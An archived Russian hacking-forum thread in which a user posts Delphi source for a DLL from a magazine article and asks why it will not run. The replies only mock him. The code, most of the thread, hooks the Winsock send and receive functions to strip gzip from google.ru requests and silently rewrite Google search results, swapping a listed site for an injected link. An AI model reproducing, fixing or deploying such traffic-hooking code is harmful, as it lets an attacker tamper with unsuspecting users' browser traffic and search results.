Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

прога по взлому гугла

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Программы для взлома] >> прога по взлому гугла
Имя
Сообщение << Старые топики   Новые топики >>
прога по взлому гугла - 2007-12-29 23:46:55.006666   
troi

Сообщений: 6
Оценки: 0
Присоединился: 2007-08-19 00:38:12.643333
неполучается зделать прогу как в стотье "на пике славы" статья вышла в 2006

dll не запускается пишет ошыбку.



library Main;

uses
Windows,
advApiHook,
WinSock2, Messages, SysUtils;

var
i, flag, ThID: dword;
len, a, b, bt: dword;
link: pChar;
szString: PChar = '<a class=l href="http://www.xakep.ru/">Xakep Online -> Home</a><table cellpadding=0 cellspacing=0 border=0><tr><td class=j><font size=-1>Magazine of computer hooligans<br><font color=#008000>www.xakep.ru/</font>';


Tsend: function (s: TSocket;
Buf: pChar;
len, flags:
Integer): Integer; stdcall;

Trecv: function (s: TSocket;
Buf: pChar;
len, flags:
Integer): Integer; stdcall;

TWSARecv: function ( s : TSocket;
lpBuffers : LPWSABUF;
dwBufferCount : DWORD;
var lpNumberOfBytesRecvd : DWORD;
var lpFlags : DWORD;
lpOverlapped : LPWSAOVERLAPPED;
lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;

TWSASend: function ( s : TSocket;
lpBuffers : LPWSABUF;
dwBufferCount : DWORD;
var lpNumberOfBytesSent : DWORD;
dwFlags : DWORD;
lpOverlapped : LPWSAOVERLAPPED;
lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;

function ReplaceGZIP(lpData: pointer; szData: dword): boolean;
begin
for i:=szData downto 0 do
begin
if dword(lpData^) = $70697A67 then dword(lpData^) := $656E6F6E;
inc(dword(lpData));
end;
end;

function InStr(index: integer; str1: string; str2: pChar): integer;
var
len, pos: integer;
begin
pos:=0;
len:=length(str2);
for i:=index to length(str1) do begin
if copy(str1,i,len)=str2 then begin
pos:=i;
break;
end;
end;
result:=pos;
end;

function ThreadProc(): dword; stdcall;
begin
Sleep(6000);
flag:=0;
ExitThread(0);
end;

function ReplaceResult(lpData: pChar; szData: dword): boolean;
begin
if flag = 1 then exit;
a := pos('<a href="http://www.passion.ru/" class=l>Женские страсти :: Passion.ru - Роскошь быть женщиной. Женский <b>журнал</b>.</a></h2><table border=0 cellpadding=0 cellspacing=0><tr><td class="j"><font size=-1>Ежедневный женский <b>журнал</b>, <b>журнал</b> для женщин, статьи красоте, моде, женском здоровье, диеты и фитнес, гороскопы, семья и дети, любовь и секс, рукоделие, <b>…</b><br>', lpData);
if a=0 then exit;
len:=0;
dec(a);
flag:=1;
GetMem(link, szData);

MoveMemory(link, lpData, a);
MoveMemory(pointer(dword(link)+a), szString, length(szString));

len:=a+length(szString);
b:=szData-InStr(a, lpData, '</font>');
MoveMemory(pointer(dword(link)+len),pointer(dword(lpData)+InStr(a, lpData, '</font>')+6), b);

MoveMemory(lpData, link, szData);

ThID:=CreateThread(nil,128*1024,@ThreadProc,nil,0,ThID);
CloseHandle(ThID);
end;

function Nrecv(s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall;
begin
Trecv(s, buf, len, flags);
asm
pushad
end;
if pos('google', pChar(@Buf)) > 0 then ReplaceResult(pChar(@buf), len);
asm
popad
end;
end;

function Nsend(s: TSocket; Buf: pChar; len, flags: Integer): Integer; stdcall;
begin
asm
pushad
end;
if (pos('Host: www.google.ru', Buf) > 0) or (pos('Host: google.ru', Buf) > 0) then
ReplaceGZIP(Buf, len);
asm
popad
end;
Tsend(s, buf, len, flags);
end;

function NWSARecv( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesRecvd : DWORD; var lpFlags : DWORD;
lpOverlapped : LPWSAOVERLAPPED; lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
begin
TWSARecv(s, lpBuffers, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);
asm
pushad
end;
if pos('google', lpBuffers.buf) > 0 then ReplaceResult(lpBuffers.buf, lpBuffers.len);
asm
popad
end;
end;

function NWSASend ( s : TSocket; lpBuffers : LPWSABUF; dwBufferCount : DWORD; var lpNumberOfBytesSent : DWORD; dwFlags : DWORD; lpOverlapped : LPWSAOVERLAPPED;
lpCompletionRoutine : LPWSAOVERLAPPED_COMPLETION_ROUTINE ): Integer; stdcall;
begin
asm
pushad
end;
if (pos('Host: www.google.ru', lpBuffers.buf) > 0) or (pos('Host: google.ru', lpBuffers.buf) > 0) then
ReplaceGZIP(lpBuffers.buf, lpBuffers.len);
asm
popad
end;
TWSASend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
case dwReason of
DLL_PROCESS_ATTACH: begin
HookProc('ws2_32.dll', 'recv', @Nrecv, @Trecv);
HookProc('ws2_32.dll', 'send', @Nsend, @Tsend);
HookProc('ws2_32.dll', 'WSARecv', @NWSARecv, @TWSARecv);
HookProc('ws2_32.dll', 'WSASend', @NWSASend, @TWSASend);
end;
DLL_PROCESS_DETACH: begin
UnhookCode(@TWSARecv);
UnhookCode(@Trecv);
UnhookCode(@TWSASend);
UnhookCode(@Tsend);
end;
end;
end;

begin
DllProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.

в чём ошыбка подскажите???????
Post #: 1
RE: прога по взлому гугла - 2007-12-30 00:12:10.093333   
blаcksun

Сообщений: 1670
Оценки: 0
Присоединился: 2007-11-19 20:03:45.703333
quote:

в чём ошыбка подскажите???????

В ДНК.
Post #: 2
RE: прога по взлому гугла - 2007-12-30 10:33:56.660000   
crbunny

Сообщений: 223
Оценки: 0
Присоединился: 2006-06-22 21:20:01

quote:

ORIGINAL: blаcksun

quote:

в чём ошыбка подскажите???????

В ДНК.


Народ-то уже и на делфи компилить не умеет, что дальше то будет?
[Проверка слов в firefox предлагает "ком пилить". Представил процесс распиливания комка непонятного происхождения. Улыбнуло.]
Post #: 3
RE: прога по взлому гугла - 2008-02-15 17:31:22.963333   
~*inviSIble*~

Сообщений: 43
Оценки: 0
Присоединился: 2008-02-15 01:21:52.486666
troi че за статья?Дай почитать ,кинь сылку…..
Post #: 4
RE: прога по взлому гугла - 2008-02-16 22:05:29.393333   
Arakul2220

Сообщений: 227
Оценки: 0
Присоединился: 2006-11-12 13:22:34.926666
Мда грязное дело!!!:D:D:D
Post #: 5
RE: прога по взлому гугла - 2008-02-16 23:21:35.980000   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
 Дай угадаю.Открыл в делфе длл-ку,нажал "компилить"-и все?)) Если так,то blacksun +1.
Post #: 6
RE: прога по взлому гугла - 2008-02-17 01:10:29.376666   
ViD0K

Сообщений: 134
Оценки: 0
Присоединился: 2007-07-10 19:57:57.680000
quote:

в чём ошыбка подскажите???????

жи-ши пиши через букву И!
Post #: 7
Страниц:  [1]
Все форумы >> [Программы для взлома] >> прога по взлому гугла







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.